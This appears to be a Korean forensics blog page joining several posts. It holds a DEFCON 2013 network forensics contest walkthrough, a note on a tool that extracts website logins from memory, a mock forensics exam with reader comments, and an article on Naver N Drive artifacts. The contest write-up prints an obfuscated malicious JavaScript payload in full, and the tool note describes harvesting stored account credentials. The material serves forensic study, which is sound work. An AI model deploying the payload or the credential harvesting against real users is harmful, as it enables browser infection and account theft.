몇 해 전부터 SANS Network Forensic Puzzle Contest 문제가 Defcon의 Contest 문제로 계속 출제되고 있었다. 이번에도 작년과 마찬가지로 LMG Security에서 문제를 출제하였었는데, 작년과 마찬가지로 이번에도 온/오프라인으로 250여팀(팀 당 최대 6명)이 참가하여 10팀 정도가 올클리어를 했다고 한다.


대회 문제는 하나의 CD로 제공이 되며 CD 안에는 truecrypt 컨테이너 파일이 존재한다. 해당 컨테이너의 파일을 최초로 복호화 하기 위해서는 운영진 데스크에 문의 해야 한다. 컨테이너 파일을 복호화 하면 다음과 같은 파일들이 존재한다.


[Round 0]

Decryption Key : SYN-SYNACK-ACK=STart!@#$&@


[그림 1 - 컨테이너 내용물]


컨테이너 내용에는 첫 번째 문제와 나머지 7개 문제의 컨테이너 파일이 존재한다. 나머지 7개의 컨테이너 파일은 앞 라운드 문제 질문의 답을 정확히 찾아 운영진에게 문자로 전송하면 운영진이 다음 레벨 컨테이너에 대한 복호화 키를 전송 해 주어 복호화 할 수 있다. 


글쓴이는 직접 참가하지 않았기 때문에 지인으로부터 각 컨테이너의 복호화 키를 얻어 문제를 풀이하였다.


이제부터 각 라운드에 대한 풀이를 진행 해 보도록 하겠다.


[Round 1]

DEFCON 2013 Network Forensics Puzzle Contest: An Affair to Remember


Having accepted the Jensen case, Jack and his team install network taps and wireless capture devices in Mr. Jensen's business and home. During monitoring, Jack and his team discover an interesting suspect, Betty. This could be the woman Mrs. Jensen fears her husband is having an affair with. Jack assigns you the forensic analyst to look further into the information capture. You learn that a meeting has been setup.

Use the Round 1 packet capture in this folder to learn more about the case and answer the following question:


1. What day of the week is the meeting scheduled for?


MD5 CHECKSUM:

round1.pcap:


d0c7ee4bd7b18d6dea1f35b09b39d4c8


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MTA567=@


문제의 요점은 "What day of the week is the meeting scheduled for?" 이다. 결국 답은 요일 또는 날짜 등으로 유추 할 수 있는데, 날짜나 요일을 대화 또는 메모 등으로 발견 될 확률이 높다. 그러므로 텍스트를 중심으로 살펴보면 다음과 같이 대화 목록을 찾을 수 있다.


[그림 2 - 대화 메시지]


[그림 2]는 IRC 프로토콜을 통해 주고 받은 메시지 목록인데, 대부분의 메시지가 HTML 인코딩으로 인코딩 되어 있다. 각 대화는 TCP 스트림의 첫 번째와 두 번째이다. 각 대화를 완벽하게 디코딩하여 보면 다음과 같다.


[TCP 스트림 0]

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Greg :)

PRIVMSG #S3cr3tSp0t :Hi Betty

PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Great :) what time?

:betty!~blah@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :ah 2pm

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


[TCP 스트림 1]

PRIVMSG #S3cr3tSp0t :Hi Greg :)

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Hi Betty

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :what day do you want to meet up?

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PING :hades.de.eu.SwiftIRC.net

PONG :hades.de.eu.SwiftIRC.net

PRIVMSG #S3cr3tSp0t :How does Wednesday sound?

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Great :) what time?

PRIVMSG #S3cr3tSp0t :ah 2pm

:D34thM3rch4nt!~blah2@7FF07A37.29E7D414.B9027CEB.IP PRIVMSG #S3cr3tSp0t :Ok, I can't wait!


대화 내용을 보면 수요일이 어떻냐는 질문과 좋다라는 대답이 보인다. 그러므로 둘은 수요일 날 만나는 것으로 볼 수 있다.


Answer : Wednesday


[Round 2]

DEFCON 2013 Network Forensics Puzzle Contest: Track Star


Betty attempts to keep her tracks covered as she establishes a meeting location with Gregory.

Use the Round 2 packet capture in this folder to answer the following question:


1. What city are they meeting?


MD5 CHECKSUM:

round2.pcap:


7d0273b7e867f90feb80ce31fe077c90


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : spT6745@@&%


어느 도시에서 그들이 만나는지 알아내는 것이 주 목적인 문제이다. 다시 한번 메시지를 추출 해 보면 다음과 같이 메일을 통해 어떤 파일을 보낸 것을 알 수 있다. 캡쳐는 하지 않았지만, 해당 메시지 전에는 패스워드를 요구하는 메시지가 있었고, 그 답문으로 미안하다며 패스워드를 알려주는 메시지가 존재한다.


[그림 3 - 메시지 로그]


어떤 파일이 주고 받아졌음을 알았으니 파일을 추출 해야 한다. [그림 2]에는 보이지 않지만, SEND 메시지는 1024포트로 전달 되었으며, 172.29.1.50이 전송하였다. 그러므로 해당 정보를 이용 해 다음과 같이 필터를 하면 파일을 추출 할 수 있다.


Filter : (ip.src == 172.29.1.50) and (tcp.port == 1024)


[그림 4 - 추출 한 파일 데이터]


메시지의 맨 마지막을 보면 파일의 크기가 나타나 있다. 추출한 파일의 크기와 비교 해 보면 동일한 것을 알 수 있다. 이제 이 파일을 이진 데이터로 만들고 메시지에서 다음과 같이 언급되었던 패스워드를 이용 해 복호화를 해보도록 하겠다.(암호화는 Truecrypt로 되어 있었다.)


"Here is the password for where you should meet me: S3cr3tVV34p0n"


복호화 하면 다음과 같이 두 개의 파일이 나온다.


[그림 5 - 추출 된 암호 데이터에서 복호화 된 파일들]


[그림 6 - IV.jpg]


[note.txt]

See You Soon!

Betty


Answer : LAS VEGAS


[Round 3]

DEFCON 2013 Network Forensics Puzzle Contest: On the Trail


Gregory is hesitant to meet with the mysterious Betty. While working late in the office, Gregory hears his phone ring. He checks his phone and knows he has no choice but to attend the meeting with Betty.

Use the Round 3 packet capture in this folder to answer the following question:


1.What will Gregory die from, if he fails to meet with Betty?


MD5 CHECKSUM:

round3.pcap:


cf4cd27c090c27598d43f58978fa9a1e


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : MP42%!@


동봉되어 있는 패킷 캡쳐 파일을 열어보면 무수히 많은 TLS 패킷들이 보인다. 적어도 어떤 평문의 내용들이 포함되어 있는지 포기 위해 HTTP Object들을 살펴 보면 제일 처음 오브젝트에 다음과 같은 내용이 보인다.


[그림 7 - HTTP 오브젝트 목록]


컨텐츠의 타입을 보니 MMS 메세지라고 나온다. 다른 오브젝트들은 텍스트 또는 html, 이미지 등인 반면에 해당 컨텐츠만 유독 다르니 파일을 추출하여 볼 필요성이 있어 보인다. 해당 패킷의 스트림을 살펴보면 다음과 같은 시그니처가 존재한다.


[그림 8 - MMS 메시지 스트림]


mp4라는 것을 XML 엘리먼트를 통해 알 수 있고, 시그니처 또한 "ISO Base Media file (MPEG-4) v1" MP4의 시그니처를 확인 할수 있다. 이런 이유로 스트림을 추출 해서 확인하면 다음과 같은 영상을 볼 수 있다.


[그림 9 - 추출한 영상 화면]


Answer : DYSENTERY


[Round 4]

DEFCON 2013 Network Forensics Puzzle Contest: Mystery Date


Gregory, still unsure of Betty's true identity, meets with a group identifying themselves as Betty's Associates. They gave him a list of demands including numbers to bank accounts, and additional secret documents. Betty's Associates told Gregory he will be provided with information regarding the delivery of the goods.

Use the Round 4 packet capture in this folder to answer the following question:


1.What is the password provided to Gregory?


MD5 CHECKSUM:

round4.pcap:


a2466895a6b822fedc947411b1c5dc0f


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : C4M1121**


패킷 파일을 보면 KML 파일을 담고 있는 메세지를 볼 수 있다.


[그림 10 - KML 파일을 담고 있는 메세지]


KML 파일을 추출하여 읽어보면 다음과 같이 지리적 위치에 그림이 그려져 있는 것을 볼 수 있다.


[그림 11 - KML View]


Answer : Brutus


[Round 5]

DEFCON 2013 Network Forensics Puzzle Contest: Lost and Found


Gregory is missing! He was supposed to meet up with Betty and deliver the goods. After that, the trail quickly goes cold. A strange shipment has arrived to the offices of Rock Solid Investigations. Jack Stone opens the package and discovers a note and a cell phone. Jack immediately sends the cell phone to you, the forensic investigator.

Use the Round 5 zip file in this folder to answer the following question:


1. What happened to Gregory?


MD5 CHECKSUM:

Huawei_U8665Fusion2.zip:


3306aa2b0082b0ee41e86167f763e885


Remember:

You must answer the question in this round, in order to unlock the next round of the contest.


Next Round Password : burt22$#@


이번에는 패킷파일 대신에 안드로이드에서 사용되는 파일시스템을 덤프한 압축파일이 주어진다. 무슨 일이 있어났는 것을 묻고 있으니, 사용자의 데이터가 저장 될 만한 곳을 먼저 분석 해 보아야 한다. 여러 사용자 데이터들을 보던 중 카메라 이미지가 저장 되어 있는 디렉토리에서 다음과 같은 사진이 발견 되었다.


[그림 12 - 카메라 디렉토리에서 발견 된 사진]


해당 파일 말고도 패킷 파일이 4개가 존재하였지만, 두 개는 다른 두개의 복사본 이었고, 패킷 캡쳐 파일들의 내용은 속임수를 위한 내용 같았다. 그러므로 답은 사진의 상황이 가장 적절하다.


Answer : Died


[Round 6]

DEFCON 2013 Network Forensics Puzzle Contest: Special Delivery


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 6 packet capture in this folder to answer the following question:


1. How many bytes of data is the malicious payload?


MD5 CHECKSUM:

round6.pcap:


d9dcb570296c11230b1b6a0018d74ef3


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : Haxxor*&%


악성코드의 페이로드 크기(byte)를 답하는 문제이다. 사실 이 문제는 굉장히 쉽게 풀린다. 패킷에 들어 있는 파일들을 모두 추출하여 백신으로 탐지하면 쉽게 풀린다.


[그림 13 - 백신 탐지 결과]


추출한 페이로드는 다음과 같다. 페이로드의 크기는 추출한 파일의 크기를 보면 알 수 있다.


[Payload]

<script>v="r21vr1b23rb";try{dsfsd++}catch(wEGWEGWEg){try{(v+v)()}catch(fsebgreber){m=Math;ev=eval;}

n="25&&26&&121&&119&&48&&57&&116&&128&&115&&134&&125&&118&&126&&133&&62&&120&&117&&133&&85&&125&&117&&126&&117&&127&&132&&132&&82&&138&&100&&114&&119&&95&&113&&126&&117&&57&&55&&115&&127&&117&&137&&56&&57&&108&&64&&110&&57&&140&&29&&26&&25&&26&&121&&119&&130&&114&&125&&118&&130&&57&&57&&76&&29&&26&&25&&142&&48&&118&&124&&132&&117&&49&&139&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&135&&131&&121&&133&&117&&57&&50&&77&&121&&119&&130&&114&&125&&118&&48&&132&&130&&116&&77&&56&&120&&133&&132&&129&&74&&64&&63&&116&&124&&122&&115&&124&&138&&122&&128&&63&&127&&131&&119&&64&&118&&118&&117&&117&&63&&119&&130&&114&&125&&118&&131&&63&&128&&121&&128&&80&&133&&122&&116&&78&&69&&71&&54&&119&&130&&114&&125&&118&&131&&78&&68&&56&&48&&136&&121&&117&&132&&121&&77&&56&&65&&65&&55&&49&&120&&118&&121&&120&&120&&133&&77&&56&&65&&65&&55&&49&&131&&133&&137&&125&&117&&78&&55&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&75&&120&&122&&116&&117&&117&&127&&75&&129&&127&&132&&121&&133&&121&&128&&126&&75&&113&&115&&131&&128&&124&&134&&132&&118&&75&&125&&117&&119&&132&&75&&64&&76&&132&&128&&128&&75&&64&&76&&55&&79&&76&&64&&121&&119&&130&&114&&125&&118&&78&&51&&57&&76&&29&&26&&25&&142&&29&&26&&25&&119&&133&&127&&115&&133&&121&&128&&126&&49&&121&&119&&130&&114&&125&&118&&130&&57&&57&&140&&29&&26&&25&&26&&134&&114&&130&&49&&118&&49&&77&&49&&116&&128&&115&&134&&125&&118&&126&&133&&62&&116&&130&&118&&113&&133&&117&&86&&124&&118&&125&&118&&126&&133&&56&&56&&121&&119&&130&&114&&125&&118&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&132&&130&&116&&55&&61&&55&&121&&132&&133&&128&&75&&63&&64&&115&&125&&121&&116&&123&&139&&121&&129&&62&&128&&130&&120&&63&&119&&117&&118&&116&&64&&118&&131&&113&&126&&117&&132&&62&&129&&120&&129&&79&&134&&121&&117&&77&&70&&70&&55&&118&&131&&113&&126&&117&&132&&77&&69&&55&&58&&75&&119&&62&&132&&132&&138&&124&&118&&62&&135&&121&&132&&121&&115&&121&&125&&121&&133&&137&&78&&55&&121&&121&&117&&116&&118&&126&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&129&&127&&132&&121&&133&&121&&128&&126&&78&&55&&114&&114&&132&&127&&125&&133&&133&&117&&56&&75&&119&&62&&132&&132&&138&&124&&118&&62&&125&&117&&119&&132&&78&&55&&65&&55&&76&&118&&63&&131&&133&&137&&125&&117&&63&&132&&128&&128&&78&&55&&65&&55&&76&&118&&63&&131&&118&&132&&82&&132&&133&&130&&122&&114&&134&&132&&118&&56&&56&&135&&122&&116&&133&&120&&56&&60&&56&&65&&65&&55&&58&&75&&119&&62&&132&&117&&133&&81&&133&&132&&131&&121&&115&&133&&133&&117&&57&&55&&121&&117&&122&&119&&121&&132&&56&&60&&56&&65&&65&&55&&58&&75&&30&&25&&26&&25&&117&&127&&116&&133&&126&&117&&127&&132&&63&&119&&118&&132&&86&&124&&118&&125&&118&&126&&133&&131&&83&&137&&101&&113&&120&&94&&114&&125&&118&&56&&56&&114&&128&&116&&138&&55&&58&&107&&65&&109&&63&&113&&129&&128&&118&&126&&117&&83&&121&&121&&125&&116&&57&&118&&58&&75&&30&&25&&26&&141".split("&&");h=2;s="";if(m)for(i=0;i-611!=0;i=1+i){k=i;if(window.document)s+=String.fromCharCode(n[i]-(020+i%h));}try{fsfewbfew--}catch(dgdsh){ev(s);}}</script>


Answer : 3113


[Round 7]

DEFCON 2013 Network Forensics Puzzle Contest: Phone Home


Mrs. Jensen decides to look further into this strange email. She decides to check her account balances to ensure she still has access to her accounts.

Use the Round 7 packet capture in this folder to answer the following question:


1. What is the URL of the false(Malicious) web page Victoria is directed to?


MD5 CHECKSUM:

round7.pcap:


398790ffd658fc56b4c8ccda5bba9aff


Remember:

You must answer the question in this round, in order to unlock the next round of the contest. 


Next Round Password : FIN-ACK@@##$


빅토리아가 접속한 악성 URL을 찾는 문제이다. 패킷 캡쳐 파일을 열어 살펴보면 bankofamerica.com 주소가 눈에 띈다.

그렇다면 이와 유사한 도메인이 분명 존재할 것이다.

HTTP 오브젝트들을 살펴보면 다른 도메인들과 다르게 암호화 하지 않고 통신하며, 도메인이 com이 아닌 net으로 끝나는 딱 한번 접속한 bankofamerica.com와 유사한 도메인이 존재한다.


[그림 14 - HTTP 오브젝트 목록]


해당 도메인에 접속 할 때에는 무수히 많은 파라메터들에 데이터가 담겨 전송되는데 해당 파라메터들을 정리해보면 다음과 같다.


[Parameter]

mboxHost=infocenter.bankofamerica.com

&mboxSession=1373056092923-406506

&mboxPC=1373056092923-406506.19_30

&mboxPage=1373056898233-47366

&screenHeight=1024

&screenWidth=1280

&browserWidth=1280

&browserHeight=861

&browserTimeOffset=-360

&colorDepth=24

&mboxXDomain=enabled

&mboxCount=1

&mbox=bac_global_bottom

&mboxId=0

&mboxTime=1373035298047

&mboxURL=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&mboxReferrer=http://www.google.com/url?sa=t&rct=j&q=why is my bank of america account not working?&source=web

&cd=2

&ved=0CD4QFjAB

&url=http://infocenter.bankofamerica.com/smallbusiness/ic2/online-banking/view-balances-account-activity/

&ei=dS_XUdu5Gei7igLL7YHQDw&usg=AFQjCNEh7nqNYvobnOUp-5_YMQJn7YTKEQ&bvm=bv.48705608,d.cGE

&mboxVersion=41


전달되는 정보를 보면 사용자의 스크린 크기부터, 시간 값, 접속한 횟수, 리퍼러 정보 등이 있다. 리퍼러 정보를 보면 사용자가 서비스를 이용하던 도중 구글에서 해당 서비스가 왜 동작하지 않는 것인지에 대해 의문을 품고 검색을 한 흔적도 보인다. 이를 통해 해당 도메인이 악성 도메인이라고 확신 할 수 있다.


Answer : http://bankofamerica.tt.omtrdc.net/


[Round 8]

DEFCON 2013 Network Forensics Puzzle Contest: Hit the Road Jack


As Jack is wrapping up the case, he learns that the mystery is far from over.

Use the Round 8 packet capture in this folder to learn more about the mystery and to answer the following question:


1. Who killed Gregory?


MD5 CHECKSUM:

round8.pcap:


09b8b3d7f2349202ce324b56e234caba8


Remember:

You must answer the question in this round to complete the contest.


패킷 파일을 열어보면 무수히 많은 SIP 프로토콜 패킷들이 보인다. 재생을 위해 해당 패킷들을 VoIP Call 형태로 보면 다음과 같이 두 개의 VoIP Call이 보인다.


[그림 15 - VoIP Call]


재생하여 들어보면 누가 그레고리를 죽였는지 알 수 있다.


Answer : Victoria





  1. BlogIcon simpac 2013.09.26 10:25

    역시 대단하십니다!

[업데이트 내용]

 - daum 계정 추출 기능 추가

 - -s 옵션 추가


-s 옵션은 추출하고자 하는 계정 사이트명을 지정하는 옵션이다. 만약 해당 옵션을 지정하지 않으면 다음과 같이 플러그인에서 지정하는 모든 사이트의 계정들이 추출되어 출력된다.



-s 옵션으로 페이스북을 지정하면 다음과 같이 페이스북 계정만 추출되어 출력된다.



단일지정뿐만 아니라 복수지정도 가능하다.



userinfo.py


p.s - 네이버도 추가하려 했으나 네이버 로그인 과정에서 암호화 하는 부분 때문에 브라우저별로 메모리에 흔적을 남기는 형태가 각양각색이어서 추가하지 않았다.

국세청은 모 기업에서 직영점들에게 POS 데이터를 조작하라는 지시를 내려 비자금을 조성한다는 첩보를 입수, 모 기업의 직영점 A와 B를 압수 수색한다.

직영점 A에서는 별다른 조작 흔적을 발견하지 못하였지만, 직영점 B에서 압수수색을 진행하는 과정에서 소파밑에서  USB 하나를 발견한다. 하지만 분석 컴퓨터는 해당 USB를 인식하지 못하였다.

당신은 국세청 소속의 포렌식 전문가로 해당 USB를 복구하여 모 기업에서 직영점들에게 지시한 내용 증거와 POS 데이터를 조작한 증거를 찾아라.


 * 보고서의 수신처는 시험관리본부장으로 하라.


1. 디지털 포렌식 전문가가 현장에 도착하면 해야 할 일은?


2. 간혹 법정에서 상대 측 변호인이 증거의 무결성 훼손을 주장 할 때가 있다. 다음 두 경우에 관련하여 증거의 무결성을 입증 할 방법을 자세히 서술하여라.

 - 증거 수집 시

 - 증거 이동 시


3. USB를 복구 하고, 복구 방법을 자세히 서술하고 복구 된 상태를 캡쳐하여 보고서에 첨부하여라.


4. 모 기업에서 직영점들에게 POS 데이터를 조작하라는 지시를 내렸다는 증거를 찾아라.


5. POS 데이터 조작과 관련된 데이터를 모두 제시하여라.(제출)



[문제 파일 링크]

Forensic Test : https://drive.google.com/file/d/1veE0cPHyHQNPOIWHnm0TyayXeCPSgq-X/view?usp=sharing - ForensicsText.vol1.egg

https://drive.google.com/file/d/1gWuQiUMRr55wGxZn-7F3NzxjNrZAHc5l/view?usp=sharing- ForensicsText.vol2.egg

문제 파일이 분할 압축되어 있습니다. 두 파일 모두 받으셔서 압축을 해제 하셔서 문제를 푸시면 됩니다.

문제 다운로드 링크가 유효하지 않다면 개인적으로 메일을 보내주시기 바랍니다.


[간단한 시험 후기]

 실기시험 모집 몇일 전까지만 해도 시험장이 모자란다는 소리가 나오지 않았었는데 모집 일정 막바지에 접어드니 수험신청자들이 몰려 시험장이 두 군데로 늘어났었습니다. 저도 그래서 시험장이 바뀌었구요.. ㅠㅠ

그래서 제가 알기로는 수험자들이 100명이 넘었습니다. 시험날, 시험장에 도착해서 시험을 30분정도 봤을 때부터 제가 속해 있던 시험장에 대부분 분들은 한숨을 쉬셨습니다. 1,2번은 사실 답이 거의 정해져있는거라 외워서 가면 되지만 분석하는 건 그렇지 않기 때문이죠. 대부분 파티션 복구 부분에서 해매시는 것 같았습니다. 그런데 이번 문제는 파티션 복구를 하지 못하면 4,5번 문제를 절대로 풀 수 없는 문제이기 때문에 다른 분들이 유독 힘들어 하셨던 것 같았습니다. 또 많이 접해보지 않은 POS 데이터 조작에 관한 문제여서 POS 데이터 조작 증거를 찾는 부분에 있어서도 많은 분들이 어려워 했던 것 같았습니다.(시험 끝나고 엘리베이터를 타는데 이런 이야기를 들었어요 ^^;)

 사실 POS 데이터 조작, 이런 것들 몰라도 충분히 지문과 타임라인 분석만으로도 해당 문제는 풀 수 있었던 문제여서 포렌식을 제대로 공부만 했다면 어렵지 않았을 문제라 생각이 듭니다.



p.s - 업로드 한 파일은 임의로 제작한 문제 파일입니다. 문제 푸는데 필요한 증거파일은 임의로 만들어 넣어두었으니 문제 푸는데 지장없으실 것 같습니다. 실제 문제는 실제 업무에서 사용하는 USB처럼 꾸며졌으며, 국세청에서 직접 만든 문제라고 들었습니다. 그러니 증거파일을 찾는 것이 지금 업로드 한 파일보다는 조금 더 어려울 수 있습니다. 이 점 참고하시고 공부하시기 바랍니다. ^^

혹시, 자신이 작성한 보고서나 풀이방법이 맞는지 궁금하시다면 메일로 보고서 파일과 답안 파일을 보내주세요. 어느정도는 평가해 드릴 수 있습니다. 

  1. 이전 댓글 더보기
  2. 2014.11.28 00:58

    비밀댓글입니다

  3. 2014.12.04 13:24

    비밀댓글입니다

  4. Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2014.12.11 11:09 신고

    문제 다운로드 링크 복구해 두었습니다.

  5. 2015.01.18 19:10

    비밀댓글입니다

  6. 2015.02.25 12:32

    비밀댓글입니다

  7. 2015.03.12 01:09

    비밀댓글입니다

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2015.03.15 19:23 신고

      저는 시험 보기 전에 이미 운영체제, 컴퓨터구조 등의 공부를 해둬서 시험 볼때에는 e-포렌식 책만 보았습니다.

  8. 2015.05.18 16:39

    비밀댓글입니다

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2015.05.18 17:31 신고

      정답은 따로 작성해 둔 것이 없어 보내드릴 내용이 없네요 ㅠㅠ..

  9. 2015.05.26 11:41

    비밀댓글입니다

  10. 2015.05.28 01:36

    비밀댓글입니다

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2015.06.04 12:57 신고

      saiwnsgud@gmail.com 메일로 연락주시면 됩니다 :-)

      다시 한번 내용을 정리하여 메일로 연락주세요~!

  11. 2015.06.12 16:41

    비밀댓글입니다

  12. 2015.10.11 03:33

    비밀댓글입니다

  13. BlogIcon HackedSniper 2016.03.02 22:29

    저 다름이 아니라 위의 압축파일에 접근하려 하였으나 링크가 만료되었다고 합니다.
    혹시 pgh9812@gmail.com이나 pgh1032@naver.com으로 보내주시면 감사하겠습니다.

    ___________________________________________________________________________
    HackedSniper(KITRI BOB 4th Digital Forensic Track Trainee)
    pgh9812@gmail.com

  14. 2016.05.27 17:59

    비밀댓글입니다

  15. 감사합니다! 2016.11.17 14:19

    관리자의 승인을 기다리고 있는 댓글입니다

  16. 2016.12.07 22:05

    비밀댓글입니다

  17. 2016.12.07 22:06

    비밀댓글입니다

  18. 이동훈 2017.05.28 17:53

    파일 링크가 만료되었다고 합니다.. 시험준비 간 큰 도움이 될 것 같습니다.
    꼭 보내주시면 감사하겠습니다.
    win1133@naver.com 입니다.

  19. 2017.12.17 21:02

    비밀댓글입니다

  20. 2018.06.03 17:41

    비밀댓글입니다

  21. 2018.06.07 07:29

    비밀댓글입니다

글쓴이는 주변 분들을 대상으로 하나의 설문조사(?)를 했었다. 자주 사용하는 클라우드 서비스가 무엇이냐는 질문에 대한 답변을 조사하는 것이었는데 설문의 결과를 종합해 보니 어느정도 예상하는 순위들이 정해졌다.


1. N 드라이브

2. 다음 클라우드

3. U 클라우드

4. 아마존 클라우드

5. 구글 드라이브


글쓴이는 시간이 허락하는대로 위 5가지의 흔적들을 조사 해 포스팅하고자 한다. 이번 글은 당연히 N 드라이브에 대한 흔적들을 소개하고자 한다. 글쓴이는 이전에 클라우드 포렌식이란 주제로 글을 써 포스팅한 적이 있다. 그 글에서 클라우드의 현재 문제점 때문에 클라이언트 측의 장비를 중심으로 여러 증거들을 수집해야 한다고 했었는데 이 글에서 클라이언트에서 어떠한 흔적과 증거들을 발견 할 수 있는지 소개하겠다. 일단 클라우드 서비스 별로 남기는 흔적은 모두 다르므로 이 글에서 언급하는 흔적들이 모두 통용되는 흔적이 아니라는 것을 알아두기 바란다.


1. N 드라이브의 두가지 접근 방법과 그 흔적들

N 드라이브에 접근 해 서비스를 이용 할 수 있는 방법은 Windows PC를 기준으로 두 가지로 분류 할 수 있다. 첫 번째 방법은 네이버 측에서 제공하는 응용 프로그램 설치를 통해 NFS(Network File System)를 통하여 접근 하는 방법이고, 또 하나는 웹 브라우저를 통해 접근 하는 방법이다. 일단 N 드라이브 응용 프로그램을 이용한 접근 방법의 흔적부터 알아보자.


1.1. NFS를 통한 접근과 그 흔적

N 드라이브 응용 프로그램을 설치하고 실행하면 다음과 같은 로그인 창을 볼 수 있다.


[그림 1 - 로그인 창]


로그인을 하고 나면 다음과 같이 NFS 공유 드라이브가 생성 되며 이 드라이브를 통해 파일을 업로드하고 다운로드 할 수 있게 된다.


[그림 2 - N 드라이브 NFS]


이렇게 응용 프로그램을 설치 해 로컬에서 파일을 업로드하고 다운로드 할 수 있는데 응용 프로그램을 설치하게 되면 레지스트리와 사용자 계정 폴더에 흔적이 남게 된다. 다음은 레지스트리에 생성 되는 N 드라이브 응용 프로그램의 흔적들이다.


 - HKCU\Software\NHN_Corporation\NaverNDrive


위 경로에는 여러 value와 또 그 하위에 사용자 계정 명으로 된 키가 존재한다.


 * 참고 : 해당 키의 LastWritten 시간을 확인하면 계정의 로그인 시간 여부를 파악 할 수 있다. 만약 계정이 로그인 되어 있는 상태라면 해당 키의 시간은 해당 로그인 세션이 시작된 시간을 뜻하며, 현재 로그인이 되어 있지 않다면 해당 키의 시간은 마지막 세션 종료 시간을 의미한다. 이 이유는 계속해서 로그인과 로그아웃시 해당 키의 Recent Drive letter등의 키 data를 수정하기 때문이다.


[그림 3 - NaverNDrive 키에 생성 된 정보들]


자동로그인 설정 정보부터 자동 실행, 드라이버 버전, NFS GUID 등의 많은 정보들이 포함되어 있다. NaverNDrive 키에서 얻을 수 있는 포렌식적 정보는 최근의 로그인 했던 사용자 계정 정보를 가지고 있는 recent_id0과 NFS 드라이브의 GUID를 가지고 있는 NNFS가 있다. 또 사용자 패스워드 정보와 관련 있는 PKEY와 드라이브에 할당 된 드라이브 문자를 저장하는 Recent Drive letter도 있다.

만약에 N 드라이브의 응용 프로그램이 자동 로그인으로 설정되어 있다면 그 상태로 분석을 수행하면 되지만 자동로그인이 되어 있지 않거나 로그아웃 되어 있다면 위 정보를 이용해서는 직접적인 분석이 불가능하다. 이때는 N 드라이브 응용 프로그램의 로그를 분석 해 봐야 한다. 


 - Users\%User name%\AppData\Local\Naver\NaverNDrive\%사용자 계정명%


위 경로에는 NDNetIOLog.db 파일과 SyncLog 폴더가 존재하고 SyncLog 폴더에는 NDSyncLog.db 파일이 존재한다. NDNetIOLog.db 파일은 N 드라이브 내에서 파일의 이동과 삭제 정보를 저장하고 있으며, NDSyncLog.db 파일은 N 드라이브와 로컬 PC의 어떤 폴더가 동기화 되었다는 것을 알려주는 파일로 동기화 된 폴더와 디렉토리 등을 알 수 있다. NDNetIOLog.db 파일에는 두 개의 테이블이 존재하지만 이 두 개의 테이블 중 tb_io_log 테이블만 분석하면 된다.


[그림 4 - 파일의 이동 및 삭제 정보]


파일이 이동 되었을 때는 src_path 칼럼과 dest_path 칼럼에 데이터가 모두 존재하지만 삭제 된 파일의 경우 iotype에 Delete_to_trash 라는 데이터가 저장되면서 dest_path 칼럼에 데이터가 존재하지 않는다. 이를 통해 어느정도 드라이브에 어떤 파일이 있었고 어떤 파일이 어떻게 이동되고 삭제되었는지 확인이 가능하다. 


NDSyncLog.db 파일은 동기화와 관련 된 정보를 저장하는 파일인데 이 파일을 통해 로컬 PC의 어떤 폴더가 N 드라이브와 동기화 되어 있는지, 동기화 된 파일은 어떤 파일들인지 파악이 가능하다. 이 파일에는 세 개의 테이블이 존재하는데 tb_sync_conf_inf 라는 테이블은 동기화 정보가 저장되어 있는 테이블의 정보와 로컬 폴더, 동기화 시간, 동기화 상태의 정보를 저장하고 있다.

또 tb_sync_failure_list 테이블은 동기화에 실패한 파일의 경로를 저장하고 있다. 마지막으로 tb_file_info_[랜덤] 테이블은 동기화 된 파일의 정보를 저장하고 있다.


[그림 5 - tb_file_info_[랜덤] 테이블]


동기화 된 파일의 로컬 경로와 N 드라이브 경로 모두를 저장하고 있으며 파일 명 또한 저장하고 있다. NDNetIOLog.db 파일과 연계하여 분석하면 현재 동기화 된 파일 중 어떤 파일이 삭제되었는지, 남아있는지 파악이 가능하다.


1.2. 웹 브라우저를 통한 접근과 그 흔적

